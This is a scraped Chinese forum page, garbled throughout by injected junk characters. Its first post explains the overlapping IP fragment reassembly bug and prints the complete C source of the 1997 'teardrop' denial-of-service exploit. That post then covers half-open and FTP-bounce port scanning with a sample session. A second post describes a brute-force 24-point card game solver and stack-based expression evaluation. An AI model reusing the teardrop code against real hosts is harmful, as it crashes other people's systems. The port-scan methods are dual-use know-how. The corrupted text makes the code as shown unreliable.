i = prev-&gt;end - offset;
& k4 U' m/ |/ Hoffset += i; /* ptr into datagram */
8 q) ?4 B; s/ z9 w% h# wptr += i; /* ptr into fragment data */  I6 S) [/ a) }* Q0 u
}</P><P>/* Fill in the structure. */
7 Z  Q+ g+ a+ {& `- _fp-&gt;offset = offset;2 N* ?; S6 _; ^
fp-&gt;end = end;
- [/ \/ J; Y/ b" g7 O3 hfp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:
5 F0 o/ h/ m# j! g  J# V9 T' f% \第一个碎片:mf=1 offset=0 payload=20
# g; e9 X! o9 p# j6 `1 D5 n敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20
* q. ?" w& O* O! y& B( Foffset=0
  W/ k: d5 R3 A4 V5 Z) Z; Y这样第二个碎片的 end=9+10=19
% |6 }. n, U0 D+ {1 ~offset=offset+(20-offset)=20
, \0 H: T* Z4 O: z) kfp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>0 `+ A" T  f. S' r$ D
/*( Y7 t# }: E" X! [& y# K3 z
* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
1 G4 f3 k' [3 s' x+ v) y& z' H" c*& \8 j6 C2 I1 `, \
* Linux/NT/95 Overlap frag bug exploit, l" d- Y0 n& T; d$ n6 ~5 _; S
*
9 M! b8 n) h$ n+ u+ G6 G7 {* Exploits the overlapping IP fragment bug present in all Linux kernels and
/ \% p  _2 Y4 r7 g& C* NT 4.0 / Windows 95 (others?)4 [) r2 C) x  W" }$ ]) E% Y+ i
*
6 N7 _, T+ m: h. v7 y$ C" M. l* Based off of: flip.c by klepto( o4 H2 a6 F/ E" P! H: e+ c% S
* Compiles on: Linux, *BSD*
8 u  F/ x3 d  G  w*
% Q3 ?5 Y  f% c+ n0 i- v* gcc -O2 teardrop.c -o teardrop, r1 w/ X8 c* c: P
* OR
9 ?/ ^$ I. p1 M* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
/ T; l% I/ `9 o; U9 h: }, }*/</P><P>#include <STDIO.H>9 m4 |3 g" r; `  H% e" r, v
#include <STDLIB.H>" w: `8 k, M) W+ k9 g9 m/ g$ \2 J
#include <UNISTD.H>
$ Y4 y( M6 R* r. y+ q: o#include <STRING.H>* I* |% |3 \( x
#include <NETDB.H>
7 M8 U" b6 _- L/ W4 r7 t#include <NETINET in.h>
6 h1 H5 B4 {8 n, D3 C#include <NETINET udp.h>
8 X2 P) V9 n: t& F/ Q& O* Y#include <ARPA inet.h>
8 h  b& Y- ^* p#include <SYS types.h>
0 ]0 @' q9 k% ]. o4 a#include <SYS time.h>
, g9 s9 o; b( I' w' g$ G3 w1 ?- o#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING6 s1 r3 }  A8 O* D: J4 ]  H9 ~' j+ ~
/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */4 }4 C  t+ k1 i: I
#define FIX(n) (n)' N% \$ A% ?- s( o
#else /* OpenBSD 2.1, all Linux *// `1 a6 n7 \3 _8 T% l' P, l
#define FIX(n) htons(n)' Y* P  O/ k6 x" i2 I! P0 w
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */
+ @& H3 [% H$ g# ~  p3 x2 _& X5 v#define IPH 0x14 /* IP header size */5 V7 ?! k+ I/ H7 R  O, M" M
#define UDPH 0x8 /* UDP header size */
# U$ L; ]; q5 q) T9 i0 f) R: j- A#define PADDING 0x1c /* datagram frame padding for first packet */
0 [; {" J. R, g) `#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */0 y( A- O, S' f3 \- @
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can0 ?* Q% R, o( r" |: s5 N3 E
* withstand maybe 5 or 10 sometimes... Experiment.& d, t( ~) \$ c5 ~* f5 @
*/</P><P>void usage(u_char *);2 h  {! L, S' S) L
u_long name_resolve(u_char *);
' p, ~( q: V$ s" L% B9 E4 uu_short in_cksum(u_short *, int);) r1 k: g9 I' E' [9 R
void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)- Q6 n) W' `& ?# P2 i' ^
{
1 r; j8 a1 b( S' }5 K- f1 N+ \int one = 1, 8 h+ B6 K3 ~& \1 ]: n: `
count = 0,
1 ~* p% w/ A2 l# `3 u' ti, + C3 @+ u8 T1 m
rip_sock;
# Z% l. R1 i* e1 cu_long src_ip = 0, dst_ip = 0;8 A; Y. N; b) i
u_short src_prt = 0, dst_prt = 0;6 H* ^7 i4 ?! [2 m
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW
" C2 b; F- H8 ]0 F8 G6 k" gif((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)' i  B6 Y/ \4 l  ^  b- z( f+ t& Y
{
. {- }' ?9 h# V8 a% q! C# qperror("raw socket");. V- h4 u. h: h7 C
exit(1);- K  H& D7 G0 D6 r# ]* c
}
8 B4 \. H! I) H//由系统处理IP校验和。
& f+ {6 y7 F) K0 f' Mif (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
! f' H, b* M$ R: j' {6 [5 U5 F&lt; 0)
4 G) n- N! S7 ^0 L: s& F{
% v( o3 s6 p. sperror("IP_HDRINCL");
9 g, G$ n. o% c. Dexit(1);
- o2 k( D2 d8 P8 L5 j! A0 l9 i- X}</P><P>if (argc &lt; 3) usage(argv[0]);5 J4 t  Q! |3 w* J* m
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
2 f( o' p5 a" }9 C  }" U: i; J! u{
5 S9 q4 r, G1 G$ ^7 Ufprintf(stderr, "What the hell kind of IP address is that?\n");
  g# i) p. N; xexit(1);
8 d/ ?' r- b! j6 _7 h/ q}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)* _, X% q" \$ t8 W8 E
{
& K  h& d7 O3 N$ u4 q5 F# }- yswitch (i)4 T0 l' z3 T6 {! `7 C
{* Z5 k4 b5 C1 H) q$ D/ i9 B
case 's': /* source port (should be emphemeral) */# ^& M7 t4 f/ J. Y# B6 |
src_prt = (u_short)atoi(optarg);  h" y$ I: l8 N& W0 ]
break;8 m) A9 ^' q' u# G4 K
case 't': /* dest port (DNS, anyone?) */+ S% ?# P' Q( T! Q  T0 H: k
dst_prt = (u_short)atoi(optarg);$ X# V9 a  G* Z7 Q5 i8 ]+ `9 {
break;' A9 P$ o: n0 x3 J% `& I
case 'n': /* number to send */
  {: ^4 ]! ?) p2 Lcount = atoi(optarg);& X5 w/ U1 ^8 ?6 K" g/ ], P
break;3 j+ U; H7 \0 n- w3 f0 q5 N# o
default :
. t- ~! Z0 s! x0 c" J6 Wusage(argv[0]);
' i1 E* ]4 \6 z& S" K7 F% ~7 xbreak; /* NOTREACHED */
2 r: v6 d8 h- ^5 A% h$ k}! P) l  E* [" y* R8 _1 B
}</P><P>srandom((unsigned)(time((time_t)0)));
9 p3 W" j' N8 ]8 C# D3 C9 Kif (!src_prt) src_prt = (random() % 0xffff);
9 p; r9 {( D$ o+ \if (!dst_prt) dst_prt = (random() % 0xffff);; a; W+ o" a' V4 j. u
if (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
- j4 ^# d# H$ T9 C5 Naddr.s_addr = src_ip;6 ^6 {% D7 u7 \$ T( g
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);! u4 g7 y; a( ?
addr.s_addr = dst_ip;8 S8 O/ f+ \2 X1 y; R( E
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
' ?$ p& C& v* f' L+ W. F. Rfprintf(stderr, " Amt: %5d\n", count);# }9 @# s& F( ?# v
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)& m6 J4 P3 D, ]4 D
{# E5 e6 L9 \4 k7 n  l; w; m3 V
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
6 P9 Q) y/ Y$ k' a# ?% y, Q* _: kfprintf(stderr, "b00m ");+ g, {1 h2 R* R" S% {% n
usleep(500);
/ j. j& P% E1 Y' p% Q2 ~}
* ^6 m, t. h6 G  ^$ qfprintf(stderr, "]\n");
8 g# h7 n; o) l, l9 Creturn (0);
6 u+ [6 W0 @, i% |- q& p; c}</P><P>/*' t* `1 L$ d* w! L1 ?7 [
* Send two IP fragments with pathological offsets. We use an implementation
3 Y) b6 P" `$ R' V8 a! h6 {* independent way of assembling network packets that does not rely on any of4 _4 E3 @& N  `! @6 _& \! R
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD)./ m4 j9 D7 T6 `( W) @4 B1 m
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,5 K( Q% w2 u3 {- ^
u_short dst_prt)
3 n! h2 x7 P& P% b1 J& G6 [{' p1 q1 n7 r" i* N& b' a5 {
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
1 `7 H) I$ \. ?' uu_char byte; /* a byte */7 e1 \3 o1 w6 z( d: \/ a
struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;. B$ I% q  w" l/ B0 i, k% H! _
sin.sin_port = src_prt;6 f2 ~; I6 q/ R, S  I
sin.sin_addr.s_addr = dst_ip;</P><P>/*; P1 Z# c5 s7 c8 D3 P8 T0 A
* Grab some memory for our packet, align p_ptr to point at the beginning
  V8 v4 M9 B, u: K* of our packet, and then fill it with zeros.% R* n- |! J* D0 D9 O
*/, F* E! k# u0 d% _
packet = (u_char *)malloc(IPH + UDPH + PADDING);
; g# y: c5 z) D: N/ p) F; yp_ptr = packet;$ ?. `7 I- j6 W  `. r6 t
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
7 x1 B+ f0 ]: xmemcpy(p_ptr, &amp;byte, sizeof(u_char));
0 C7 b9 @. F" _$ H1 {9 e, Xp_ptr += 2; /* IP TOS (skipped) */
2 x- P+ g. C. x. G*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
: n' ~! h7 \. X4 rp_ptr += 2;) G4 _" j+ ]6 Y' M0 ^1 q2 `
*((u_short *)p_ptr) = htons(242); /* IP id */
3 v) V" E* T! b+ t( q) bp_ptr += 2;6 I' ?, b, k! B3 W
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */) [  t$ T  Q) b9 [: J3 ~
p_ptr += 2;
0 a1 ]5 k: \8 N1 x5 S+ {3 G*((u_short *)p_ptr) = 0x40; /* IP TTL */. x+ t4 p% ?8 w6 |
byte = IPPROTO_UDP;
6 {( w9 C) ~" Q$ ~memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));( y. P: m/ q4 _5 h, F
p_ptr += 4; /* IP checksum filled in by kernel */
9 z& u6 p) Y3 o& M1 d" ~8 t*((u_long *)p_ptr) = src_ip; /* IP source address */- P( w5 q  O9 m  u
p_ptr += 4;7 r. C# R9 z) Q" P/ E( W9 p. b' o
*((u_long *)p_ptr) = dst_ip; /* IP destination address */: a8 m5 k" n0 Y; p$ t9 l
p_ptr += 4;
: r3 G/ G0 Q2 q*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */2 j* ~( n8 v; s) C
p_ptr += 2;, G  |2 x. Q8 ]; }% t, B: U
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */. A/ I" W% [2 C/ y' |! g8 Z
p_ptr += 2;" \; I$ E6 ^0 c
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
5 D1 R, D8 o$ g5 r% T9 @. v. Gsizeof(struct sockaddr)) == -1)
9 N! b9 g, m. ]) Z& X{4 F7 O1 d' y' ?/ l2 U
perror("\nsendto");
. W7 ?6 M4 O0 ^  g: Hfree(packet);
) e, V0 p3 d8 b1 i. M# Z' Nexit(1);
; O+ z3 U2 p; ^% \! Y}</P><P>/* We set the fragment offset to be inside of the previous packet's
9 d' J8 i. D0 y: F9 |* payload (it overlaps inside the previous packet) but do not include6 W' N+ A* q4 h% l4 P: E/ x
* enough payload to cover complete the datagram. Just the header will
& Z( E$ R  s4 v* do, but to crash NT/95 machines, a bit larger of packet seems to work
7 ^; d$ l8 k' W. X% e0 }9 B* better.6 _5 H1 b- E4 t- u6 t
*/
7 W4 g1 \4 H# I3 v) |2 C8 o3 Mp_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */& Z6 D, v/ m- D; {; s
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
' S! X3 ~; n" S2 N/ Hp_ptr += 4; /* IP offset is 6 bytes into the header */3 j# D3 i; T  r0 q. A: J
*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,* y+ X$ e0 v  z* m) x( c8 R
sizeof(struct sockaddr)) == -1)
1 |' S2 l# y$ n9 @6 q1 O{4 M( x2 F, |& t4 {; j; f8 b7 Y) T
perror("\nsendto");: [; ^' U# V+ Z2 G' X; L
free(packet);
+ ^1 Q* y* z) M& r! s9 dexit(1);
, x5 k0 D- Z1 p: K5 J}- J  `2 W' O$ @. Z
free(packet);& S0 T1 E; B+ O5 A+ k, F
}</P><P>u_long name_resolve(u_char *host_name)
+ O5 N8 d6 q$ d; T$ P{
5 v. k9 E9 C4 q% C  F4 P$ p& }6 Vstruct in_addr addr;; M) @. J& ]+ Y( W9 @8 {
struct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
% {& B$ K* X1 b{
; {- w. T" v* J. @  b2 d. h, H. {if (!(host_ent = gethostbyname(host_name))) return (0);. v9 W( u: \7 b8 m2 ^
bcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
8 h" q8 f2 E) u7 ]5 j. h; H; j}, s6 O8 C& V, r( s
return (addr.s_addr);% A, F3 N3 x7 E& z9 G& E; X% n0 R+ o7 z
}</P><P>void usage(u_char *name)9 Q. c) A( k! V6 m
{
+ P  o' Q& ~+ e% Tfprintf(stderr,
" m: N! P9 W0 ~+ l& ~"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
; J* o6 G) {) a& z' xname);
% {, h5 R% n3 Q1 T+ dexit(0);  z0 g- V( N( a3 D2 F- T4 d: N6 k
}</P><P>6 w. d% E. k2 O3 B7 c
4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法: . q1 }4 N) k, [3 b7 _
(1) Half-open(半打开)# H# L5 A" B* J* k0 ^2 k
利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),
! N+ l: J& h$ f4 e) c如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner
% |+ q* J! ?8 o+ |( b4 d5 V利用了FTP的port命令,例如可以这样作:
7 _0 e: m( a5 \+ B1 u7 E$ {! {0 B选择一个FTP服务器,连上后令port命令指向目标机,如果返回
* w- X7 B" p8 W  v/ @- P值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则
7 `  y0 Q) ]: @+ H& _3 [7 t- q7 q该端口无服务。  z+ d9 {' J& W) V2 `' X: t6 @4 |
telnet 192.168.1.13 21
) y3 b$ Z* {& J! t5 dTrying 192.168.1.13...
8 Q+ }% a5 a" `& m) A- X) ~. xConnected to pp.bricks.org.: ], ~# }' y! e9 b) h5 L9 C3 o" m( U1 V
Escape character is '^]'.
0 q- K  k8 J+ m- B  \, n220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
8 j1 v  d1 v- C* \Thu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
$ C/ T1 ?3 r" x" \+ T1 F$ g8 N$ d331 Guest login ok, send your complete e-mail address as password.6 O$ q, i# q- M/ t6 i3 q) C; R5 G- e9 M' Q
pass aa@aa.aa/ t' r& ~) R- T" S6 m  y
230 Guest login ok, access restrictions apply.
8 x+ m# ?1 q' H" }( Eport a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
7 m0 z" Y; \: F# s4 s; u425 Can't build data connection: Connection refused.
$ d8 A3 N& o3 \+ a$ b1 ?//该端口未活动
8 q8 |7 K6 f. n" T) n150 Opening ASCII mode data connection for file list.
8 ~& j& H# r6 Y. J! v226 Transfer complete.1 u  m: V. ^$ ]* z+ n, o
//该端口活动中
5 S( S- u4 ^: u$ l1 r但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing& U' A) J# j0 R6 f* }
SYN|FIN ACK or SYN|ACK* RST
6 i: ]7 ?6 Z+ `ACK Nothing RST& n9 e$ ?  S0 Q0 L1 Z, G  A2 ?
0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport
& W; z' b* Z1 t" F一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,
' M4 T- U) T7 Z若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认
9 b0 t1 J) ?# L( n4 m定它在向你做portscan。</P><P>notes:
3 \+ p0 p" x, W0 r2 R: o# r早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),- s0 a1 s3 O) o( _8 c
而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的
  T' k! `3 S" H4 @& k. n  s' D都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>2 Y3 T/ r% P4 ^1 ~
  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。
6 s. M- P* J% j9 }3 I% q
% b. t& t2 O+ g# M: ~/ s& ]! c  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。 % F. T- |$ ~6 A$ ^4 B
首先穷举的可行性问题。我把表达式如下分成三类——
7 A! k0 n: g; {1 M9 m5 h  G<FONT color=#ff0000>1、 无括号的简单表达式。
" d8 J# P1 u* X& d7 B2、 有一个括号的简单表达式。
! i( e8 v8 C+ _* h8 W4 D! P3、 有两个括号的较复4、 杂表达式。7 q2 k" h; a) W# f. {$ S
</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:
- e3 V1 R0 x6 O" C& c<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
$ F. E5 L9 G) |# m/* c[] 存放四张牌的数组 */
( P  F4 }: K! c% S/* k[] c[]种四张牌的代号,其中k[I]=I+1。5 t+ L* S8 X9 L' _( C
用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */
/ ]0 C, v; t" S" z. L/* kans[] 暂存生成的排列组合 */
4 R+ T. U, f+ Q" c" I; V- ]/* j 嵌套循环的次数 */7 G6 `- K6 P6 e$ {. V
int fans(c,k,ans,kans,j)
' A+ Y' ]' v( `! sint j,k[],c[];char ans[],kans[];
  t) i/ X" R+ H  p& q0 B5 O{ int i,p,q,r,h,flag,s[4],t[4][4];
" I* g/ i. ^3 jfor(p=0,q=0;p&lt;4;p++)
. t( A, k, d) L5 L{ for(r=0,flag=0;r<J;R++)+ V2 y1 v% N( ^( g( y  n
if(k[p]!=kans[r]) flag++;
" u3 ^7 U& m: ^. q9 V& xif(flag==j) t[j][q++]=k[p];
# M3 T  m# f4 f* S* @) p}
) F8 ~9 K( i1 L) ]for(s[j]=0;s[j]&lt;4-j;s[j]++)
( r  v$ @3 ]* I" }$ F{ kans[j]=t[j][s[j]];( F$ [! E. O$ `0 \
if(j==3) { for(h=0;h&lt;4;h++)
- P8 G, s. M7 x/ v5 l: ?* p9 Eans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表" O6 Z8 |, L# ?
达式中的位置 */2 W# W1 a6 Z2 r
for(h=0;h&lt;3;h++)
) \- c5 D- v' y" f/ csymbol(ans,h); /* 在表达式中添加运算符号 */0 L2 d* ~4 W, x8 O
}9 C" b+ _9 \( L; M. L+ n! R
else { j++;# \1 x# h2 `+ C7 ]6 K3 p0 x4 `2 X9 F& |
fans(c,k,ans,kans,j);% L+ _8 B6 H+ D! c& y) x" H
j--;
" t0 l5 o6 q& S}
" e6 l# i6 L1 a: V: i' z3 s$ q}1 f0 a5 Q- v3 x
}</FONT>
5 E# A6 G1 C0 c& J- h% _- o& H6 P# Y; Z9 V
  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:
' w' O& H0 o! m; Q. `/ N
7 s" r6 T5 v9 F/ \<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
- v$ _- c" h, `0 Uint sans(ans,sy,j,h)
: \/ N' ?, N  C& \# Uchar ans[],sy[];int j,h;6 F. x( M3 k- V3 y, o; D5 ^
{ int i,p,k[3],m,n; char ktans[20];  {6 |4 S: y. _5 w
for(k[j]=0;k[j]&lt;4;k[j]++)
- A: i, B. l* b* l{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
8 X) w6 o6 p7 M0 D3 v这里的三个运算符号分别存放在1、3、5位*/ + Q# |% v1 O. K: d
if(j==2)
" a+ |4 k4 W# s{ ans[5]=sy[k[j]];; F* Z- R7 J0 t5 ?+ H
/* 此处根据不同的表达式形式再进行相应的处理 */
, U. D+ O: G) p1 g7 V}0 Y3 q  {  l% @& e% v, D! a# Y
else { j++; sans(ans,sy,j--,h); }
0 ]* e+ k- N! ~9 X3 L3 g$ s}
) w' T$ k* D4 w" x  Z3 L0 [}3 w, [& P  t6 t$ U
' E. g5 U7 `- v4 o$ A- Q: k$ O; I
</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。
' \) o" }8 ~% W; Ffor(m=0;m&lt;=4;m+=2)
% C/ X5 s# P% o# D; Z0 P2 X' ^5 f  ~for(n=m+4;n&lt;=8;n+=2)' P; L& o& s- h6 u# c. V; T) v) a
  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。
2 p4 `9 D5 G5 p$ i4 s
/ W. O$ W+ ~% d" a& l. c4 e  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。
  E2 B3 K( R: E0 U" Y. @6 w6 S</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。
; L0 F" b7 f# i9 m% i在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。
! C7 x' r2 B- i4 M* J' p0 z7 G
" C  Y! ~9 }7 T2 p, ]" _  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。* K) k7 c/ |' O* X4 W
! ]/ S, R2 i9 l, _
  那么作为栈的著名应用,表达式的计算可以有两种方法。
: ~+ ~% M+ V' G; y5 A, w0 q
7 W8 t/ _- e8 G/ S! @  <FONT color=#ff0000>第一种方法——</FONT>
& B# X, M3 _2 Y; w/ J; e6 w6 z  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。
+ L' @/ W* V7 \$ i( O' K3 P  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:- @- }  J: A6 R; `$ @! f
1、 若W为操作数! @# |  ~% u- o/ o6 H0 s& A
2、 则将W压入操作数栈OVS- i7 H- P5 X" g
3、 且继续扫描下一个字符; c: r# R/ M$ i! C* k
4、 若W为运算符( J, ~! D( |5 Q! A' N$ e: @4 b
5、 则根据运算符的性质做相应的处理:, y: A1 h5 g/ {# f, t
(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。; b/ E; M, ]1 f7 B' Y/ S
(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。9 e! p2 o& f  }( Z0 l+ H& R* l
(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。
$ b2 `+ g& K- d9 m' ~2 K(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。
2 f8 b6 C4 N/ M( h5 ]! a  L/ }2 Q' y, [2 y1 b2 }5 a
<FONT color=#ff0000>  第二种方法——</FONT>" F& I5 Q4 M$ b% \8 ]
  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。; x1 {& J( K: ?
- Q- g" ]) C' b& E) L6 F( ]4 y
  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。9 t: f3 W! P5 c, E! G0 i* k

4 R  n+ C8 T! u- K   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
" v  e5 d% X% E3 m$ t, m表达式 波兰表达式+ B% u/ x# I; c5 i, B3 Q% x
A-B AB-9 F) m9 `7 ?( e* q! C* m2 ~, U
(A-B)*C+D AB-C*D+
3 A! [; ]1 H, E  E* P. U/ H3 z, g2 HA*(B+C/D)-E*F ABCD/+*EF*-
' n6 g% {6 T" }% S3 i; {(B+C)/(A-D) BC+AD-/
9 w  r, F* q. T" B$ W2 C& N6 D/ m
  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。0 A1 Q+ J4 ?: L2 r

: z% K; B6 i' B. ]3 S  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。
4 H  [; r1 U" M+ c" t
2 k1 _& ?' {3 B! ^- r  下面给出转换和计算的具体实现程序——
4 s, f  s- h, Q9 {+ M! e0 w3 f2 j" B& {; |2 `# [
<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */
, U2 m- t# |* ?) i) @int first(char c)
2 O. \) _( v' j1 W+ u" g. P0 ^{ int p;
; [) M0 D8 e/ H1 L% o, o* c1 G) I9 Eswitch(c)
2 Y3 t! l9 |* e" N1 G& M{ case '*': p=2; break;
2 Y. m2 y1 r& g( ocase '/': p=2; break;, z/ [; V' W8 u2 ?% X) F
case '+': p=1; break;9 t" y+ b- E1 g' L
